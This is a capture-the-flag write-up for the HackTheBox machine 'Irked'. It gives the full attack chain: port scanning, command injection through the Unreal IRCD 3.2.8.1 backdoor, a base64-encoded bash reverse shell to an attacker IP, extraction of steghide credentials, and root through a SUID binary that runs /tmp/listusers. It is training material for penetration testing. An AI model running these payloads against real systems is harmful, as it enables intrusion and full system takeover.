Irked - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐☆☆☆

Summary

Irked is a straightforward entry-level machine that demonstrates the importance of comprehensive port enumeration and identifying out-of-place binaries during system exploration. The box features a vulnerable Unreal IRCD service running a known backdoor, followed by steganography-based credential extraction and privilege escalation through a custom SUID binary with an insecure library call. TL;DR: Unreal IRCD backdoor → reverse shell → steghide extraction → viewuser SUID exploitation → root shell.

Reconnaissance

Port Scanning

# Full port scan with aggressive timing
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.117 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Version and script scan on discovered ports
nmap -p$ports -sC -sV 10.10.10.117

Results:

Service Enumeration

HTTP (Port 80): The web page displays a message “IRC is almost working,” confirming the IRC service presence.

NFS (Port 111):

showmount -e 10.10.10.117

Unreal IRCD (Ports 6697, 8067, 65534): Connect to the IRC service to identify the version:

irssi -c 10.10.10.117 --port 8067

The server responds with version Unreal 3.2.8.1, which is a critical finding.

Vulnerability Assessment

• Unreal IRCD 3.2.8.1 Backdoor: A known vulnerability in this version allows arbitrary command execution via specially crafted commands prefixed with AB;
• Custom SUID Binary: A non-standard /usr/bin/viewuser binary exists with SUID permissions
• Insecure Library Call: The viewuser binary uses system() to execute /tmp/listusers without proper validation

Initial Foothold

Exploitation Path

Step 1: Identify the Backdoor

A quick search reveals CVE information and Metasploit module unreal_ircd_3281_backdoor that exploits the Unreal IRCD vulnerability.

Step 2: Execute Commands via Backdoor

Test command execution by sending a ping command with the AB; prefix:

echo 'AB; ping -c2 10.10.10.117' | nc 10.10.10.117 65534

The server responds with ping output, confirming code execution.

Step 3: Spawn a Reverse Shell

Create a base64-encoded bash reverse shell to bypass special character issues:

# Generate the base64 payload
echo 'bash -i >& /dev/tcp/10.10.12.181/1234 0>&1' | base64
# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMi4xODEvMTIzNCAwPiYxCg==

# Set up listener on attacking machine
nc -lvnp 1234

# Send the payload through the backdoor
echo 'AB; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMi4xODEvMTIzNCAwPiYxCg== | base64 -d | bash' | nc 10.10.10.117 65534

Step 4: Upgrade Shell

Spawn an interactive TTY shell:

python -c "import pty;pty.spawn('/bin/bash')"

We now have a shell as the ircd user.

Privilege Escalation

Lateral Movement: Extract Hidden Credentials

Navigate to the djmardov user’s home directory and search for credentials:

cat /home/djmardov/Documents/.backup
# Output: Super elite steg backup pw
# UPupDOWNdownLRlrBAbaSSss

The backup file references steganography. Download the image from the web server and extract hidden data:

wget http://10.10.10.117/irked.jpg

# Extract using steghide with the found password
steghide extract -p UPupDOWNdownLRlrBAbaSSss -sf irked.jpg
# Output: pass.txt

cat pass.txt
# Contains SSH password for djmardov user

Switch to djmardov via SSH with the extracted credentials.

Exploit SUID Binary

Step 1: Identify the Vulnerability

List all SUID binaries on the system:

find / -type f -perm -4000 2>/dev/null

The non-standard /usr/bin/viewuser binary stands out as suspicious.

Step 2: Analyze Binary Behavior

Transfer the binary to your local machine for analysis:

scp djmardov@10.10.10.117:/usr/bin/viewuser viewuser

Use ltrace to trace library calls:

ltrace ./viewuser

The output reveals:

• setuid(0) - Sets UID to root
• system("/tmp/listusers") - Executes an external command without validation

Step 3: Exploit via /tmp/listusers

The binary runs /tmp/listusers as root. Create a malicious script at that path:

# Create the exploit script
printf '#!/bin/bash\n/bin/sh\n' > /tmp/listusers
chmod a+x /tmp/listusers

# Execute the vulnerable binary
/usr/bin/viewuser

You now have a root shell.

Attack Chain Summary

Enumerate all ports (65534 discovery)
     ↓
Identify Unreal IRCD 3.2.8.1 service
     ↓
Exploit backdoor with AB; prefix command injection
     ↓
Obtain reverse shell as 'ircd' user
     ↓
Extract steghide password from .backup file
     ↓
Recover djmardov SSH credentials from steganographic image
     ↓
Lateral move to djmardov user
     ↓
Identify custom SUID binary /usr/bin/viewuser
     ↓
Analyze binary via ltrace (discovers system("/tmp/listusers") call)
     ↓
Create malicious /tmp/listusers script
     ↓
Execute viewuser to gain root shell

Tools Used

Key Learnings

Techniques Practiced

• Full port enumeration including high port numbers (critical for discovering IRC services)
• Service fingerprinting and version identification
• Public vulnerability research and exploit adaptation
• Base64 encoding for reverse shell payload obfuscation
• Steganography fundamentals with steghide
• Binary analysis using dynamic tracing tools (ltrace)
• SUID privilege escalation via insecure library calls
• Shell upgrades and TTY spawning

Lessons Learned

1. Always scan all 65535 ports: The IRC service on port 65534 would be missed with default port ranges, demonstrating why -p- is essential in reconnaissance.

2. Check for custom binaries: Non-standard SUID executables like /usr/bin/viewuser are major red flags and should always be investigated for privilege escalation vectors.

3. Dynamic analysis reveals vulnerabilities: Running ltrace on binaries exposes dangerous patterns like system() calls with user-controlled or predictable paths.

4. Multi-stage exploitation: This machine demonstrates chaining vulnerabilities—IRC backdoor → credential extraction → privilege escalation—reflecting real-world attack complexity.

5. Encoding bypasses input filtering: Base64-encoding reverse shells circumvents character filtering on certain protocols and command injection contexts.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>